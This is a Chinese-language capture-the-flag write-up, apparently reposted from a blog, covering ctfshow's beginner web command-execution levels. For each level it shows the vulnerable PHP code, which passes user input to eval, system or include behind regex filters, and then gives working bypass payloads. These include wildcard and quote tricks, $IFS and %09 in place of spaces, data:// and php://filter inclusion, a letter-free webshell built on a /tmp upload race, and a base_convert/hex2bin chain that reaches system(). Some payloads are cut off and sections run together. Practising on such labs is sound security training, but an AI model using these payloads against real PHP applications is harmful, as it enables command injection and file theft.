iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >ctfshow web入门 命令执行
  • 472
分享到

ctfshow web入门 命令执行

php开发语言 2023-09-01 17:09:27 472人浏览 八月长安
摘要

WEB29 &0=data://text/plain,2. ?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resourc

WEB29

<?PHPerror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}
1.?c=system("cat fl``ag.php");2.?c=system("cat fla*.php");3.?c=echo `nl fl''ag.php`;

cat 可替换为 tac | more | less | curl | nl | tail | sort | strings

payload:

 ?c=system("cat fl``ag.php");

web30

payload:

 ?c=echo`nl fl*`;

web31

<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}

payload:

1. ?c=eval($_GET[1]);&1=system("cat flag.php");2. ?c=echo`nl%09fl*`;

此题通过get先传一个参数1,在后面执行cat flag.php的命令是不会被过滤的


web32-36

<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){        eval($c);    }    }else{    highlight_file(__FILE__);}

过滤空格 和 ;
用?>代替 ;

payload:

1. ?c=include$_GET[0]?>&0=data://text/plain,2. ?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php

web37-38

<?php//flag in flag.phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag/i", $c)){        include($c);        echo $flag;        }        }else{    highlight_file(__FILE__);}

payload:

1.?c=data:text//plain,2.?c=data://text/plain;base64,PD9waHAGC3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web39

<?php//flag in flag.phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag/i", $c)){        include($c.".php");    }        }else{    highlight_file(__FILE__);}

?c=php://filter/read=convert.base64-encode/resource=fl*(姿势不对)

还是用data
?>.php不影响前面已经闭合的php语句

payload:

?c=data://text/plain,

web40

<?phpif(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){        eval($c);    }        }else{    highlight_file(__FILE__);}

过滤的是中文括号,用到以下包含英文括号的函数:

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)pos():返回数组中当前元素的值scandir():获取目录下的文件array_reverse():将数组逆序排列next():函数将内部指针指向下一元素,并输出

payload:
先查看目录下的文件名:

 ?c=print_r(scandir(pos(localeconv())));


接着用array_reverse()和next(),使指针指向flag.php,并用highlight_file()输出,得到flag。

?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

highlight_file或show_source


web42

<?phpif(isset($_GET['c'])){    $c=$_GET['c'];    system($c." >/dev/null 2>&1");}else{    highlight_file(__FILE__);}

此题代码的system()中有" >/dev/null 2>&1",他的作用是将程序的标准输出和错误输出都存到/dev/null(舍弃掉)。

payload:

?c=ls;?c=cat flag.php;cat flag.php%0acat flag.php||cat flag.php%26cat flag.php%26%26

web43-44-45-46

过滤了cat用tac,过滤了;用%0a或 ||。

过滤了flag

?c=tac fl*%0a?c=tac fl??????%0a(?与省略的ag.php数量一致)?c=tac fl``ag.php||

过滤空格

?c=tac%09fla*%0a?c=tac$IFS$9fl'ag'.php||?c=tacfl'ag'.php||

过滤数字

%0a是换行符,能代替分号

虽然这题过滤了数字,但因为%09是一个字符,属于编码,在带入服务器时会进行解码,所以并没有被过滤


web47-49

payload:

?c=tac%09fl'ag'.php%0a

web50-51


payload:

?c=tac

web52

这题过滤了<>,那么就用${IFS}代替空格,但是,没有flag.php

?c=ls${IFS}../../../||  查看有flag?c=nl${IFS}/fl''ag%0a

web53

payload:

?c=nl${IFS}fla''g.php%0a

web54


过滤了好多好多

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

payload:

?c=/bin/?at${IFS}f???????%0a?c=paste${IFS}fl?g.php%0a?c=uniq${IFS}f???????

web55(*)

<?php// 你们在炫技吗?if(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){        system($c);    }}else{    highlight_file(__FILE__);}

字母都过滤了

法一与法二都带有数字,法三不带有数字

法一
利用/bin/base64 flag.php%0a 将指定的文件的内容以base64加密的形式输出

?c=/???/????64 ????????%0a

法二
姿势一有些类似,不过利用的是/usr/bin目录:
主要放置一些应用软件工具的必备执行档主要:diff、zip、last、less、make、passwd、bzip2例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

大师傅们利用的是/usr/bin下的bzip2:

?c=/???/???/????2 ?????????c=/usr/bin/bzip2 flag.php

把flag.php压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来


法三

无数字字母webshell

看了之后才发现,我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
注意:通过.去执行sh命令不需要有执行权限

在这个之前我们需要构造一个post上传文件的数据包
抓包
构造 ?c=.+/???/????????[@-[] 并添加命令

注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。



web57(*)

<?php// 还能炫的动吗?//flag in 36.phpif(isset($_GET['c'])){    $c=$_GET['c'];    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){        system("cat ".$c.".php");    }}else{    highlight_file(__FILE__);}

字母 数字过滤 .过滤 上面方法不能用了
所以我们只需要凑成36即可

$(())

可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。

echo $(())会返回0

取反:
如果b=~a,那么a+b=-1
echo $(())会返回0

$((~$(())))的结果是-1

$(( $((~$(()))) $((~$(()))) ))的结果是-2,相当于-1-1

所以将他们放一起就默认是相加,那么只需要放37个$((~$(())))就能得到-37的结果,再对它进行取反,最终得到36


web58-65

<?php// 你们在炫技吗?if(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}

接下来开始绕disable_functions了。
读文件的函数有这些:

 1.file_get_contents() 2.highlight_file() 3.show_source() 4.fgets() 5.file() 6.readfile()


2.
在这里插入图片描述
3.
4.
5.

6.

payload:

c=show_source('flag.php');

web60

  //通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)       copy()       rename()  //用法:       copy("flag.php","flag.txt");                   rename("flag.php","flag.txt");  

web66-70

”/“是根目录,”~“是家目录。

<?php// 你们在炫技吗?if(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);}else{    highlight_file(__FILE__);}


扫描根目录scandir


显示根目录下的flag.txt

1.过滤了print_r()函数,可以使用var_dump()函数代替2.过滤了var_dump()函数,可以使用var_export()函数3.过滤了highlight_file()函数,可以尝试文件包含include4.除了scandir还有 (web73)c=$a=glob("', $content, $used_funcs);      foreach ($used_funcs[0] as $func) {        if (!in_array($func, $whitelist)) {            die("请不要输入奇奇怪怪的函数");        }    }    //帮你算出答案    eval('echo '.$content.';');}

这题只能用他给的函数,且限制了传入的值的长度为80,那么可以传入一个get参数,然后再传入想用的payload,需要编码绕过,首先,注意白名单中的一些函数:

base_convert(number,frombase,tobase):在任意进制之间转换数字
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为 ASCII 字符

先用无绕过的方式写出payload:

  ?c=$_GET[a]($_GET[b]);&a=system&b=("cat flag.php")

由于[]被ban了,可以用{}代替。
因为hex2bin函数被ban,要想使用它,必须要构造出他的其他进制形式,然后转换成hex2bin函数,那么base_convert()函数就发挥作用了,可以构造:

$pi=base_convert(37907361743,10,36),这里$pi就是hex2bin函数

则payload前半部分绕过_GET的就能出来了:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag// base_convert(37907361743,10,36) -> hex2bin// dechex(1598506324) -> 5f474554// hex2bin("5f474554") -> _GET$pi 的值为 hex2bin("5f474554")$$pi 也就是 $hex2bin("5f474554") -> $_GET ,变成了预定义变量。

来源地址:https://blog.csdn.net/qq_53263789/article/details/113803325

--结束END--

本文标题: ctfshow web入门 命令执行

本文链接: https://www.lsjlt.com/news/389044.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作